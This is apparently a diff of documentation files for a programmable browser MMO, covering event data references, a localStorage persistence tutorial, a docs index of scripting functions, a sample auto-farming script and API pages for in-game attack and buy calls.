<div style='margin-bottom: 10px'></div>
|
||||
|
||||
<span class='dlabel'>"sell"</span>
|
||||
<div class='code'>
|
||||
{
|
||||
item: {name:"staff",level:9},
|
||||
gold: 500,
|
||||
}
|
||||
</div>
|
||||
<div style='margin-bottom: 10px'></div>
|
||||
|
||||
<span class='dlabel'>"cm"</span>
|
||||
<div class='code'>
|
||||
{
|
||||
name: "CharacterName", // Name of the character who sent the code message
|
||||
message: object, // Can be a string, array, any serializable object
|
||||
}
|
||||
</div>
|
||||
<div style='margin-bottom: 10px'></div>
|
||||
|
||||
<span class='dlabel'>"clim"</span>
|
||||
<div class='code'>
|
||||
{
|
||||
// Raw data that's posted to the CLI jsdom window from character.js
|
||||
// Can also be posted from master.js, which character.js will propagate
|
||||
}
|
||||
</div>
|
||||
<div style='margin-bottom: 10px'></div>
|
||||
|
||||
<span class='dlabel'>"death"</span>
|
||||
<div class='code'>
|
||||
{
|
||||
past: false, // true when your code executes with a dead character
|
||||
}
|
||||
</div>
|
||||
<div style='margin-bottom: 10px'></div>
|
||||
|
||||
<span class='dlabel'>"respawn"</span>
|
||||
<div class='code'>
|
||||
{
|
||||
// Respawned
|
||||
}
|
||||
</div>
|
||||
<div style='margin-bottom: 10px'></div>
|
||||
|
||||
<span class='dlabel'>"item_received"</span>
|
||||
<div class='code'>
|
||||
{
|
||||
name: "SenderName",
|
||||
item: "staff",
|
||||
q: 1,
|
||||
num: 12, // Inventory#
|
||||
}
|
||||
</div>
|
||||
<div style='margin-bottom: 10px'></div>
|
||||
|
||||
<span class='dlabel'>"item_sent"</span>
|
||||
<div class='code'>
|
||||
{
|
||||
name: "ReceiverName",
|
||||
item: "staff",
|
||||
q: 1,
|
||||
num: 12, // Inventory#
|
||||
}
|
||||
</div>
|
||||
<div style='margin-bottom: 10px'></div>
|
||||
|
||||
<span class='dlabel'>"mail_sent"</span>
|
||||
<div class='code'>
|
||||
{
|
||||
to: "ReceiverName",
|
||||
// There's also a "mail_failed" with a reason
|
||||
}
|
||||
</div>
|
||||
<div style='margin-bottom: 10px'></div>
|
||||
|
||||
<span class='dlabel'>"gold_sent"</span>
|
||||
<div class='code'>
|
||||
{
|
||||
name: "ReceiverName",
|
||||
gold: 100,
|
||||
}
|
||||
</div>
|
||||
<div style='margin-bottom: 10px'></div>
|
||||
|
||||
<span class='dlabel'>"gold_received"</span>
|
||||
<div class='code'>
|
||||
{
|
||||
name: "SenderName",
|
||||
gold: 100,
|
||||
}
|
||||
</div>
|
||||
<div style='margin-bottom: 10px'></div>
|
||||
|
||||
<span class='dlabel'>"craft"</span>
|
||||
<div class='code'>
|
||||
{
|
||||
name: "gstaff", // Item ID of the item
|
||||
num: 12, // Inventory# of the item
|
||||
}
|
||||
</div>
|
||||
<div style='margin-bottom: 10px'></div>
|
||||
|
||||
<span class='dlabel'>"dismantle"</span>
|
||||
<div class='code'>
|
||||
{
|
||||
name: "staff", // Item ID of the item you've dismantled
|
||||
}
|
||||
</div>
|
||||
<div style='margin-bottom: 10px'></div>
|
||||
|
||||
<span class='dlabel'>"sale"</span>
|
||||
<div class='code'>
|
||||
{
|
||||
buyer: "BuyerName",
|
||||
item: {name:"staff",level:9},
|
||||
slot: "trade8",
|
||||
}
|
||||
</div>
|
||||
|
||||
<span class='dlabel'>"mluck"</span>
|
||||
<div class='code'>
|
||||
{
|
||||
name: "MerchantName",
|
||||
item: {name:"staff",level:0},
|
||||
num: 12,
|
||||
}
|
||||
</div>
|
||||
|
||||
<span class='dlabel'>"exchange_buy"</span>
|
||||
<div class='code'>
|
||||
{
|
||||
// Token Exchange
|
||||
num: 12, // Inventory# of the item
|
||||
}
|
||||
</div>
|
||||
<div style='margin-bottom: 10px'></div>
|
||||
|
||||
<span class='dlabel'>"mobbing"</span>
|
||||
<div class='code'>
|
||||
{
|
||||
// If you target 4+ monsters, they start dealing increased damage
|
||||
// This behaviour is called "mobbing"
|
||||
intensity: 1, // The intensity increases with each hit
|
||||
}
|
||||
</div>
|
||||
<div style='margin-bottom: 10px'></div>
|
||||
|
||||
<span class='dlabel'>"stacked"</span>
|
||||
<div class='code'>
|
||||
{
|
||||
// If you place your characters on top of each other
|
||||
// Monsters deal stacked/increasing damage to all the stacked characters
|
||||
// When this event is triggered, scatter your characters
|
||||
ids: ["CharacterName1","CharacterName2","..."],
|
||||
}
|
||||
</div>
|
||||
<div style='margin-bottom: 10px'></div>
|
||||
|
||||
<span class='dlabel'>"level_up"</span>
|
||||
<div class='code'>
|
||||
{
|
||||
level: 72, // Your new level
|
||||
}
|
||||
</div>
|
||||
|
||||
<p>Work in progress ...</p>
|
||||
@@ -0,0 +1,215 @@
|
||||
<p>Game events are ambient or global, they can either be broadcasted to the entire server or you can observe nearby happenings through these events.</p>
|
||||
|
||||
<div class='code'>
|
||||
// Register to a single event:
|
||||
game.on("level_up",function(data){
|
||||
game_log(data.name+" is now level "+data.level+"!");
|
||||
});
|
||||
|
||||
// Register to all events:
|
||||
game.all(function(name,data){
|
||||
data.event_name=name;
|
||||
show_json(data);
|
||||
});
|
||||
|
||||
</div>
|
||||
|
||||
<p>Data Reference:</p>
|
||||
|
||||
<span class='dlabel'>"event"</span>
|
||||
<div class='code'>
|
||||
{
|
||||
name: "snowman",
|
||||
// Some others: "pinkgoo", "wabbit", "franky", "grinch"
|
||||
// Optional coordinates:
|
||||
map: "winterland",
|
||||
x: 12,
|
||||
y: 88,
|
||||
}
|
||||
</div>
|
||||
|
||||
<span class='dlabel'>"trade"</span>
|
||||
<div class='code'>
|
||||
{
|
||||
seller: "SellerName",
|
||||
buyer: "BuyerName",
|
||||
item: {name:"staff",level:9},
|
||||
slot: "trade8",
|
||||
}
|
||||
</div>
|
||||
|
||||
<span class='dlabel'>"action"</span>
|
||||
<div class='code'>
|
||||
{
|
||||
source: "attack", // Can be positive or negative
|
||||
actor: "CharacterName", // Monster ID or Character ID
|
||||
target: "42", // Monster ID or Character ID
|
||||
damage: 1390,
|
||||
projectile: "momentum",
|
||||
eta: 50, // Arrival in milliseconds
|
||||
pid: "abcd1234", // Projectile ID
|
||||
}
|
||||
{
|
||||
source: "heal",
|
||||
actor: "CharacterName",
|
||||
target: "PartyMember",
|
||||
heal: 1390,
|
||||
projectile: "heal",
|
||||
eta: 400,
|
||||
pid: "abcd1234", // Projectile ID
|
||||
}
|
||||
{
|
||||
source: "curse",
|
||||
actor: "CharacterName",
|
||||
target: "MortalEnemy",
|
||||
projectile: "curse",
|
||||
eta: 800,
|
||||
pid: "abcd1234", // Projectile ID
|
||||
}
|
||||
{
|
||||
source: "burst",
|
||||
actor: "CharacterName",
|
||||
target: "MortalEnemy",
|
||||
ray: "burst",
|
||||
instant: true,
|
||||
}
|
||||
// Warning: The formats might refine in the future [26/01/20]
|
||||
</div>
|
||||
|
||||
<span class='dlabel'>"hit"</span>
|
||||
<div class='code'>
|
||||
{
|
||||
source: "attack", // Can be positive or negative
|
||||
actor: "CharacterName", // Monster ID or Character ID
|
||||
target: "42", // Monster ID or Character ID
|
||||
damage: 1390,
|
||||
pid: "abcd1234", // Projectile ID
|
||||
heal: 0, // Set if the projectile was healing
|
||||
crit: false,
|
||||
kill: false,
|
||||
evade: false,
|
||||
miss: false,
|
||||
avoid: false, // Outrunning the projectile
|
||||
poison: false, // Whether the attack poisoned the target
|
||||
freeze: false, // Whether the attack freezed the target
|
||||
stun: false, // Whether the attack stunned the target
|
||||
reflect: 0, // Reflected damage
|
||||
dreturn: 0, // Returned damage
|
||||
trigger: "sugarrush", // Set when the attack triggered a condition/buff
|
||||
condition: "curse", // Could be both a positive or negative condition for the target
|
||||
sneak: false, // Set if this was a Rogue sneak attack
|
||||
stacked: [], // Array of ID's - If multiple opponents staying in the same spot got hit
|
||||
mobbing: 88, // If 4+ monsters target you, their attacks increase the mobbing intensity/damage
|
||||
unintentional: false, // true for the non-main targets of a stacked attack
|
||||
aoe: false, // true for uncontrollable attacks like cleave and shadowstrike
|
||||
// Not all properties are always set, if the value is false, [] or 0 - they are usually not set
|
||||
}
|
||||
</div>
|
||||
|
||||
<span class='dlabel'>"level_up"</span>
|
||||
<div class='code'>
|
||||
{
|
||||
name: "CharacterName", // Character name
|
||||
level: 72, // Characters' new level
|
||||
}
|
||||
</div>
|
||||
|
||||
<span class='dlabel'>"death"</span>
|
||||
<div class='code'>
|
||||
{
|
||||
id: "428", // Character Name or Monster ID
|
||||
}
|
||||
</div>
|
||||
|
||||
<span class='dlabel'>"shutdown"</span>
|
||||
<div class='code'>
|
||||
{
|
||||
seconds: 20, // Server shutdown in 20 seconds
|
||||
}
|
||||
</div>
|
||||
|
||||
<span class='dlabel'>"sell"</span>
|
||||
<div class='code'>
|
||||
{
|
||||
// Item sold to an NPC
|
||||
name: "CharacterName",
|
||||
item: {"name":"pants",level:8},
|
||||
}
|
||||
</div>
|
||||
|
||||
<span class='dlabel'>"buy"</span>
|
||||
<div class='code'>
|
||||
{
|
||||
// Item bought from an NPC
|
||||
name: "CharacterName",
|
||||
item: {"name":"pants",level:0},
|
||||
}
|
||||
</div>
|
||||
|
||||
<span class='dlabel'>"sbuy"</span>
|
||||
<div class='code'>
|
||||
{
|
||||
// Item bought from Ponty
|
||||
name: "CharacterName",
|
||||
item: {"name":"pants",level:0},
|
||||
}
|
||||
</div>
|
||||
|
||||
<span class='dlabel'>"fbuy"</span>
|
||||
<div class='code'>
|
||||
{
|
||||
// Item bought from Lost and Found
|
||||
name: "CharacterName",
|
||||
item: {"name":"pants",level:0},
|
||||
}
|
||||
</div>
|
||||
|
||||
<span class='dlabel'>"item_sent"</span>
|
||||
<div class='code'>
|
||||
{
|
||||
// Player to player item transfer
|
||||
sender: "SenderName",
|
||||
receiver: "ReceiverName",
|
||||
item: {"name":"pants",level:0},
|
||||
}
|
||||
</div>
|
||||
|
||||
<span class='dlabel'>"gold_sent"</span>
|
||||
<div class='code'>
|
||||
{
|
||||
// Player to player gold transfer
|
||||
sender: "SenderName",
|
||||
receiver: "ReceiverName",
|
||||
gold: 100,
|
||||
}
|
||||
</div>
|
||||
|
||||
<span class='dlabel'>"cx_sent"</span>
|
||||
<div class='code'>
|
||||
{
|
||||
// Player to player cosmetics transfer
|
||||
sender: "SenderName",
|
||||
receiver: "ReceiverName",
|
||||
cx: "hat999",
|
||||
}
|
||||
</div>
|
||||
|
||||
<span class='dlabel'>"mluck"</span>
|
||||
<div class='code'>
|
||||
{
|
||||
name: "MerchantName",
|
||||
item: {name:"staff",level:0},
|
||||
num: 12,
|
||||
}
|
||||
</div>
|
||||
|
||||
<span class='dlabel'>"api_response"</span>
|
||||
<div class='code'>
|
||||
{
|
||||
type: "servers_and_characters",
|
||||
servers: [],
|
||||
characters: [],
|
||||
}
|
||||
</div>
|
||||
|
||||
<p>Work in progress ...</p>
|
||||
@@ -0,0 +1,59 @@
|
||||
<p>Your Code and Javascript variables all reset when you refresh the game. Let's say you were in the middle of a very important action but your character got disconnected, or the game and servers started updating, what happens then? How do you continue what you were doing? How will your character remember what to do? This article will explain how! :)</p>
|
||||
|
||||
<p>To solve this problem, you'll need a persistent storage solution, like saving a file somewhere. Luckily, browsers and our game clients have a service called <span class='dlabel'>"localStorage".</span> The game functions <span class='rlabel' onclick="render_function_reference($(this).html())">get</span> and <span class='rlabel' onclick="render_function_reference($(this).html())">set</span> uses this local storage and they are very easy to use!</p>
|
||||
|
||||
<div class='code'>
|
||||
set("test",{a:42,b:true}); // set function can store objects too
|
||||
</div>
|
||||
<div style='margin-bottom: 10px'></div>
|
||||
|
||||
<div class='code'>
|
||||
log(get("test").a); // logs 42 - even after the game is refreshed
|
||||
</div>
|
||||
|
||||
<p>Here's an example usage that makes your character move from Goo's to Tiny Crab's, even after the game is refreshed:</p>
|
||||
|
||||
<div class='code'>
|
||||
var action=null; // Local variable action
|
||||
|
||||
setInterval(function(){
|
||||
|
||||
// Since we always set "flag" and action to the same value, if they mismatch, it must mean the game was refreshed
|
||||
if(get("flag")!=action)
|
||||
{
|
||||
game_log("Variable action doesn't match the stored flag therefore the game was refreshed!");
|
||||
if(get("flag")=="crab")
|
||||
{
|
||||
game_log("Continuing the move to crabs!");
|
||||
action="crab";
|
||||
smart_move("crab");
|
||||
}
|
||||
else if(get("flag")=="goo")
|
||||
{
|
||||
game_log("Continuing the move to goos!");
|
||||
action="goo";
|
||||
smart_move("goo");
|
||||
}
|
||||
set("flag",action);
|
||||
}
|
||||
else if(smart.moving)
|
||||
{
|
||||
// Do nothing, we are moving!
|
||||
}
|
||||
else if(action=="goo")
|
||||
{
|
||||
// Arrived at goo's, back to crab's now
|
||||
action="crab";
|
||||
smart_move("crab");
|
||||
set("flag",action);
|
||||
}
|
||||
else
|
||||
{
|
||||
// Either arrived at crab's, or this is our first action!
|
||||
action="goo";
|
||||
smart_move("goo");
|
||||
set("flag",action);
|
||||
}
|
||||
|
||||
},100);
|
||||
</div>
|
||||
@@ -0,0 +1,341 @@
|
||||
docs={
|
||||
"functions":[
|
||||
#runner_functions
|
||||
"start_character",
|
||||
"stop_character",
|
||||
"command_character",
|
||||
"get_active_characters",
|
||||
"change_server",
|
||||
"in_pvp",
|
||||
"is_npc",
|
||||
"is_monster",
|
||||
"is_character",
|
||||
"interact",
|
||||
"use_nearest_door",
|
||||
"enter",
|
||||
"join",
|
||||
"activate",
|
||||
"shift",
|
||||
"throw_item",
|
||||
#"can_use",
|
||||
#"use",
|
||||
"use_skill",
|
||||
"reduce_cooldown",
|
||||
"bank_deposit",
|
||||
"bank_withdraw",
|
||||
"bank_store",
|
||||
"bank_retrieve",
|
||||
"bank_swap",
|
||||
"swap",
|
||||
"locate_item",
|
||||
"quantity",
|
||||
"item_properties",
|
||||
"item_grade",
|
||||
"item_value",
|
||||
"transport",
|
||||
"leave",
|
||||
"is_paused",
|
||||
"pause",
|
||||
"get_socket",
|
||||
"get_map",
|
||||
"set_message",
|
||||
"game_log",
|
||||
"log",
|
||||
"safe_log",
|
||||
"get_focus",
|
||||
"get_target_of",
|
||||
"get_target",
|
||||
"get_targeted_monster",
|
||||
"change_target",
|
||||
"can_move_to",
|
||||
"xmove",
|
||||
"is_in_range",
|
||||
"is_on_cooldown",
|
||||
"can_attack",
|
||||
"can_heal",
|
||||
"is_moving",
|
||||
"is_transporting",
|
||||
"attack",
|
||||
"heal",
|
||||
"buy",
|
||||
"buy_with_gold",
|
||||
"buy_with_shells",
|
||||
"sell",
|
||||
"consume",
|
||||
"equip",
|
||||
"unequip",
|
||||
"lock_item",
|
||||
"seal_item",
|
||||
"unlock_item",
|
||||
"open_stand",
|
||||
"close_stand",
|
||||
"trade",
|
||||
"trade_buy",
|
||||
"trade_sell",
|
||||
"wishlist",
|
||||
"giveaway",
|
||||
"join_giveaway",
|
||||
"upgrade",
|
||||
"compound",
|
||||
"craft",
|
||||
"auto_craft",
|
||||
"exchange",
|
||||
"exchange_buy",
|
||||
"say",
|
||||
"party_say",
|
||||
"pm",
|
||||
"move",
|
||||
"cruise",
|
||||
"equip_cx",
|
||||
"show_json",
|
||||
"get_characters",
|
||||
"get_servers",
|
||||
"get_party",
|
||||
"get_player",
|
||||
"get_monster",
|
||||
"get_entity",
|
||||
"find_npc",
|
||||
"get_nearest_monster",
|
||||
"get_nearest_hostile",
|
||||
"get_nearest_npc",
|
||||
"use_hp_or_mp",
|
||||
"loot",
|
||||
"get_chests",
|
||||
"send_gold",
|
||||
"send_item",
|
||||
"send_cx",
|
||||
"send_mail",
|
||||
"destroy",
|
||||
"send_party_invite",
|
||||
"send_party_request",
|
||||
"accept_party_invite",
|
||||
"accept_party_request",
|
||||
"leave_party",
|
||||
"kick_party_member",
|
||||
"accept_magiport",
|
||||
"unfriend",
|
||||
"respawn",
|
||||
"set_home",
|
||||
"handle_death",
|
||||
"handle_command",
|
||||
"send_cm",
|
||||
"on_disappear",
|
||||
"on_combined_damage",
|
||||
"on_party_invite",
|
||||
"on_party_request",
|
||||
"on_destroy",
|
||||
"on_draw",
|
||||
"on_game_event",
|
||||
"draw_line",
|
||||
"draw_circle",
|
||||
"clear_drawings",
|
||||
#"auto_reload",
|
||||
"get",
|
||||
"set",
|
||||
#"game",
|
||||
"preview_item",
|
||||
"set_skillbar",
|
||||
"set_keymap",
|
||||
"map_key",
|
||||
"unmap_key",
|
||||
"reset_mappings",
|
||||
"load_code",
|
||||
"require_code",
|
||||
"upload_code",
|
||||
"get_active_code_slot",
|
||||
"get_edited_code_slot",
|
||||
"disconnect",
|
||||
"smart_move",
|
||||
"stop",
|
||||
"performance_trick",
|
||||
#common_functions
|
||||
"distance",
|
||||
"can_walk",
|
||||
"can_transport",
|
||||
"is_disabled",
|
||||
"is_number",
|
||||
"is_string",
|
||||
"is_function",
|
||||
"is_object",
|
||||
"is_array",
|
||||
],
|
||||
"documented":[
|
||||
"attack",
|
||||
"heal",
|
||||
"buy",
|
||||
"upgrade",
|
||||
"compound",
|
||||
"use_skill"
|
||||
],
|
||||
"javascript":[
|
||||
["Javascript Intro","js,learn,tutorial,number,integer,date,var,variable,let,const","https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Introduction"],
|
||||
["String","string","https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String"],
|
||||
["Array","array","https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array"],
|
||||
["Object","object,player,character,monster","https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object"],
|
||||
["Math","math,sqrt,min,max,sin,cos","https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math"],
|
||||
["Date","date,time","https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date"],
|
||||
["Promise","promise,then","https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise"],
|
||||
["Timeouts and Intervals","setTimeout,setInterval","https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Asynchronous/Timeouts_and_intervals"],
|
||||
],
|
||||
"tutorial":[
|
||||
{
|
||||
"key":"helloworld",
|
||||
"tasks":[],
|
||||
"title":"Welcome!",
|
||||
},
|
||||
{
|
||||
"key":"learntofight",
|
||||
"tasks":["killagoo","firstloot"],
|
||||
"title":"Learn to Fight!",
|
||||
},
|
||||
{
|
||||
"key":"interface",
|
||||
"tasks":["character","inventory","stats","skills","guide","com","code","travel","settings"],
|
||||
"title":"Game Interface",
|
||||
},
|
||||
# {
|
||||
# "key":"inventory",
|
||||
# "tasks":["inventory","sell"],
|
||||
# "title":"Open Your Inventory!"
|
||||
# },
|
||||
{
|
||||
"key":"upgrade",
|
||||
"tasks":["buyscrolls","upgrade","addstats"],
|
||||
"title":"Learn to Upgrade!",
|
||||
},
|
||||
{
|
||||
"key":"compound",
|
||||
"tasks":["buycscroll0","compound"],
|
||||
"title":"Learn to Combine!",
|
||||
},
|
||||
# {
|
||||
# "key":"equip",
|
||||
# "tasks":["equip","unequip"],
|
||||
# "title":"Learn to Equip",
|
||||
# },
|
||||
{
|
||||
"key":"bank",
|
||||
"tasks":["bank","store","deposit"],
|
||||
"title":"Discover the Bank",
|
||||
},
|
||||
{
|
||||
"key":"hellocode",
|
||||
"tasks":["engage","x"],
|
||||
"title":"Hello CODE!",
|
||||
},
|
||||
# {
|
||||
# "key":"0.2-com",
|
||||
# "tasks":["friends","nearby","server","realm","character"],
|
||||
# "title":"The Communicator",
|
||||
# },
|
||||
# {
|
||||
# "key":"1-move",
|
||||
# "tasks":["firstmoves","codemove"],
|
||||
# "title":"Learn to Move",
|
||||
# },
|
||||
# {
|
||||
# "key":"2-attack",
|
||||
# "tasks":["hitthegoos"],
|
||||
# "title":"Learn to Attack"
|
||||
# }
|
||||
{
|
||||
"key":"theend",
|
||||
"tasks":[],
|
||||
"title":"The End",
|
||||
},
|
||||
],
|
||||
"tasks":{
|
||||
"character":"Your Character",
|
||||
"inventory":"Inventory",
|
||||
"stats":"Character Stats",
|
||||
"skills":"Skills",
|
||||
"guide":"Game Guide",
|
||||
"com":"Communicator",
|
||||
"code":"CODE!",
|
||||
"travel":"Travel Anywhere",
|
||||
"settings":"Settings",
|
||||
"engage":"Just Engage",
|
||||
"x":"Snippet",
|
||||
"buyscrolls":"Buy Scrolls",
|
||||
"buycscroll0":"Buy the Scroll",
|
||||
"upgrade":"Upgrade",
|
||||
"addstats":"Use Stat Scrolls",
|
||||
"killagoo":"Kill a Goo",
|
||||
"firstloot":"Loot the Chest",
|
||||
"compound":"Compound!",
|
||||
"bank":"Enter the Bank",
|
||||
"store":"Store an Item",
|
||||
"deposit":"Deposit Gold",
|
||||
},
|
||||
"rewards":{
|
||||
"c0":[[1,"open","cosmo0"]],
|
||||
},
|
||||
"guide":[
|
||||
# ["faq","Frequently Asked Questions","#CA3C93",
|
||||
# [
|
||||
# ["faq-soon","Coming Soon","#C01941"],
|
||||
# ]
|
||||
# ],
|
||||
["basics","The Basics","","#97D058"],
|
||||
["stats","Attributes, Classes, Skills","","#33C9CC"],
|
||||
["items","Items, Upgrades, Crafting","items","#58ABFF",],
|
||||
["limits","Servers, Limits, Rules","","#E67419"],
|
||||
["pvp","PVP, Dueling","","#FD6058"],
|
||||
["looks","Cosmetics","","#FD9DF9"],
|
||||
["code","Learn CODE","","#E78E4E",
|
||||
[
|
||||
["javascript-and-stuff","Javascript and the Basics","","#4FE450",
|
||||
[
|
||||
["1-easy","Motivational Speech","","#C01941"],
|
||||
["2-javascript","Hello World!","","#7C81C3"],
|
||||
["3-security","Security First!","","#71C76F"],
|
||||
]
|
||||
],
|
||||
["4-basicmath","Some Math","","#3BA6C3",
|
||||
[
|
||||
["4.1-coordinates","Coordinate System","","#FD9757"],
|
||||
["4.2-walkinghalfway","Walking Halfway","","#FC2636"],
|
||||
["4.G-geometry","Geometry","","#FC3B94"],
|
||||
]
|
||||
],
|
||||
["6-items101","Items 101","items","#E28A27"],
|
||||
["8-code-slots-and-files","Code Slots and Files","files,slots,save,local","#7E8895"],
|
||||
["7-using-skills","Using Skills","skills","#E24148"],
|
||||
["persistent-values","Add Persistence!","get,set","#7A8EE4"],
|
||||
["X.sub-architecture","Game and Code Architecture","","#8785B2"],
|
||||
["5-goingplaces","Going Places","","#4BC78F"],
|
||||
["X-advancedtopics","Advanced Topics","","#8044C4",
|
||||
[ ["X.sub-cli","CLI: An Introduction","cli","#79C6C1"],
|
||||
["X.sub-cm","Code Messages","cm,messages","#B3C77A"],
|
||||
["X.sub-api","API Call System","api","#69C6C1"],
|
||||
]
|
||||
],
|
||||
]
|
||||
],
|
||||
["multi","Multiple Ways to Run Multiple Characters","multi,deploy","#5997FF"],
|
||||
["advanced","Advanced Topics","","#CA3C93",
|
||||
[
|
||||
["tracktrix","Scoring for Tracktrix Achievements","","#5461C3"],
|
||||
#["faq-soon","Looting Dynamics (Soon)","","#C01941"],
|
||||
]
|
||||
],
|
||||
],
|
||||
"references":[
|
||||
["data-character","Character Objects","characters,players"],
|
||||
["data-monster","Monster Objects","monsters,entity"],
|
||||
#["data-npc","NPC Objects","npcs"],
|
||||
["events-character","Character Events","events"],
|
||||
["events-game","Game Events","game,events"],
|
||||
],
|
||||
"images":{
|
||||
'bank':{'url':'http://lh3.googleusercontent.com/c69Ijb6nu4wOfCD5m3yGKbp6-CYCdbkMdqpKuecH7F9oXBFYDcyDopmspOCo2uTL1AO7npbO5dAoPfIHXn_Y19Ev41AURBc','width':1520,'height':824},
|
||||
'character_button':{'url':'http://lh3.googleusercontent.com/HZI8xM8UQ-VTTiz9I1WAC7wQy9cPHbeNQ11PuQK0kbydWEF7Rmc9NJYcsHYb82PXJiTDzAF1BAk9Fk28PT1iglsUOUlnGpbN','width':382,'height':266},
|
||||
'topleft_character':{'url':'http://lh3.googleusercontent.com/oSB2aD44TMMup4cV_O-iXFj0iQ6zE70gPGSTLkYIrL1yWUkjog1GZLSTfmJ5WmwZyT3FkkoYNkWSqMOuqyIfsXT2R3MTYVJ_','width':998,'height':602},
|
||||
'topleft_monster':{'url':'http://lh3.googleusercontent.com/g2wTE8fuzg7KzUmqzPAjsrP9fS7b4I7vLK_p1Nqa7_jgTAOUVfZNz05qafUoFaiQqno85dw2vTsQfpMIL5gsrGOcw9KeFSLvkQ','width':486,'height':428},
|
||||
'newyear_tree':{'url':'http://lh3.googleusercontent.com/BbENUEvYLaLvbHPdk9uWDkMwhh59v4Sd_V_wex6whMDiLr9h2ZDCmDN-i5XxTehHbnaRQPrnd-msEgSsjaQrLWxCNQz6uvvA','width':528,'height':516},
|
||||
'cue':{'url':'http://lh3.googleusercontent.com/h7ttABnKxQz0ca0p6jnq1DG5iNLw4Pac5Z1Bo800cRpxP2b9k-SQqY7yuYRVPLRIvCAvVBe3s2_EBUBR1TF3XptKR5jewcY8r9B1Xvr_dkKZ3ZE','width':396,'height':396},
|
||||
'upgrade':{'url':'http://lh3.googleusercontent.com/qhSgjFF4Qp94CeS-Dc62PgZU9LANN68x6GCrBdPVvVrQYOlHSGEpNb8sP926OLbtKesfQA8Elc9Ycgm5l1SO-4yvV7dxpNMc7cvJCPKvTGdZCw','width':426,'height':396},
|
||||
}
|
||||
}
|
||||
|
||||
docs["functions"].sort()
|
||||
@@ -0,0 +1 @@
|
||||
// Copied over at deploy.js [26/12/17]
|
||||
@@ -0,0 +1,46 @@
|
||||
setInterval(function(){
|
||||
|
||||
use_hp_or_mp();
|
||||
|
||||
loot();
|
||||
|
||||
var target=get_target()||get_nearest_hostile()||get_nearest_monster();
|
||||
if(target && distance(target,character)>700 || target && target.rip) change_target(null),target=null;
|
||||
|
||||
if(target && can_attack(target)) attack(target);
|
||||
|
||||
if(is_moving(character)) return;
|
||||
|
||||
if(target && !is_in_range(target))
|
||||
{
|
||||
if(can_move_to(target)) move(target.x,target.y);
|
||||
else smart_move(target.x,target.y);
|
||||
}
|
||||
|
||||
},100);
|
||||
|
||||
function random_move()
|
||||
{
|
||||
smart_move(random_one(["spider","scorpion","crab","crabx","tortoise","squig","bee","goo","croc","armadillo","poisio"]));
|
||||
}
|
||||
|
||||
random_move();
|
||||
|
||||
performance_trick();
|
||||
|
||||
setInterval(function(){
|
||||
|
||||
random_move();
|
||||
|
||||
},30000);
|
||||
|
||||
function handle_death()
|
||||
{
|
||||
setTimeout(function(){
|
||||
|
||||
respawn();
|
||||
setTimeout(random_move,100);
|
||||
|
||||
},20000+Math.random()*5000);
|
||||
return true;
|
||||
}
|
||||
@@ -0,0 +1,100 @@
|
||||
<p>
|
||||
Arguments:
|
||||
<div> <b>*</b> Object - Character or Monster</div>
|
||||
</p>
|
||||
<p>
|
||||
Returns:
|
||||
<div> <b>*</b> Promise</div>
|
||||
</p>
|
||||
|
||||
<p>Example usages:</p>
|
||||
|
||||
<div class='code'>
|
||||
attack(target);
|
||||
attack(target).then(function(data){
|
||||
reduce_cooldown("attack",character.ping); // Try to increase your dps with ping correction
|
||||
});
|
||||
attack(target).then(
|
||||
function(data){
|
||||
game_log("yes!");
|
||||
},
|
||||
function(data){
|
||||
game_log("oh no, attack failed: "+data.reason);
|
||||
},
|
||||
);
|
||||
</div>
|
||||
|
||||
<p>Promise Reference:</p>
|
||||
|
||||
<span class='dlabel'>"resolve"</span>
|
||||
<div class='code'>
|
||||
{
|
||||
source: "attack",
|
||||
actor: "CharacterName",
|
||||
target: "42", // Monster ID or Character ID
|
||||
damage: 1390,
|
||||
projectile: "momentum",
|
||||
eta: 50, // Arrival in milliseconds
|
||||
pid: "abcd1234", // Projectile ID
|
||||
}
|
||||
</div>
|
||||
<div style='margin-bottom: 10px'></div>
|
||||
|
||||
<span class='dlabel'>"reject"</span>
|
||||
<div class='code'>
|
||||
{
|
||||
reason: "not_found", // Target not found
|
||||
}
|
||||
</div>
|
||||
<div style='margin-bottom: 1px'></div>
|
||||
<div class='code'>
|
||||
{
|
||||
reason: "too_far", // Target too far
|
||||
distance: 120,
|
||||
origin: "server", // or "client"
|
||||
}
|
||||
</div>
|
||||
<div style='margin-bottom: 1px'></div>
|
||||
<div class='code'>
|
||||
{
|
||||
reason: "cooldown", // Target too far
|
||||
remaining: 20, // 20 milliseconds remaining
|
||||
}
|
||||
</div>
|
||||
<div style='margin-bottom: 1px'></div>
|
||||
<div class='code'>
|
||||
{
|
||||
reason: "no_mp", // No MP
|
||||
}
|
||||
</div>
|
||||
<div style='margin-bottom: 1px'></div>
|
||||
<div class='code'>
|
||||
{
|
||||
reason: "disabled", // Character disabled
|
||||
// If you are stunned, you can't attack
|
||||
}
|
||||
</div>
|
||||
<div style='margin-bottom: 1px'></div>
|
||||
<div class='code'>
|
||||
{
|
||||
reason: "friendly", // PVP attacks in PVE servers
|
||||
// PVP attacks against friendly targets
|
||||
}
|
||||
</div>
|
||||
<div style='margin-bottom: 1px'></div>
|
||||
<div class='code'>
|
||||
{
|
||||
reason: "failed", // Other reasons
|
||||
}
|
||||
</div>
|
||||
<div style='margin-bottom: 1px'></div>
|
||||
<div class='code'>
|
||||
{
|
||||
reason: "miss", // Attack missed
|
||||
// Old response
|
||||
// Replaced by "too_far" and "cooldown"
|
||||
}
|
||||
</div>
|
||||
|
||||
<p></p>
|
||||
<span class='redlabel'>"source"</span>
|
||||
@@ -0,0 +1,79 @@
|
||||
<p>
|
||||
Arguments:
|
||||
<div> <b>*</b> String - An item key name from G.items</div>
|
||||
<div> <b>*</b> Integer - (Optional) Quantity</div>
|
||||
</p>
|
||||
<p>
|
||||
Returns:
|
||||
<div> <b>*</b> Promise</div>
|
||||
</p>
|
||||
|
||||
<p>List of available key names: <span class="xlabel" onclick="code_eval($(this).html())">show_json(Object.keys(G.items))</span></p>
|
||||
|
||||
<p>Example usages:</p>
|
||||
|
||||
<div class='code'>
|
||||
buy("shoes");
|
||||
|
||||
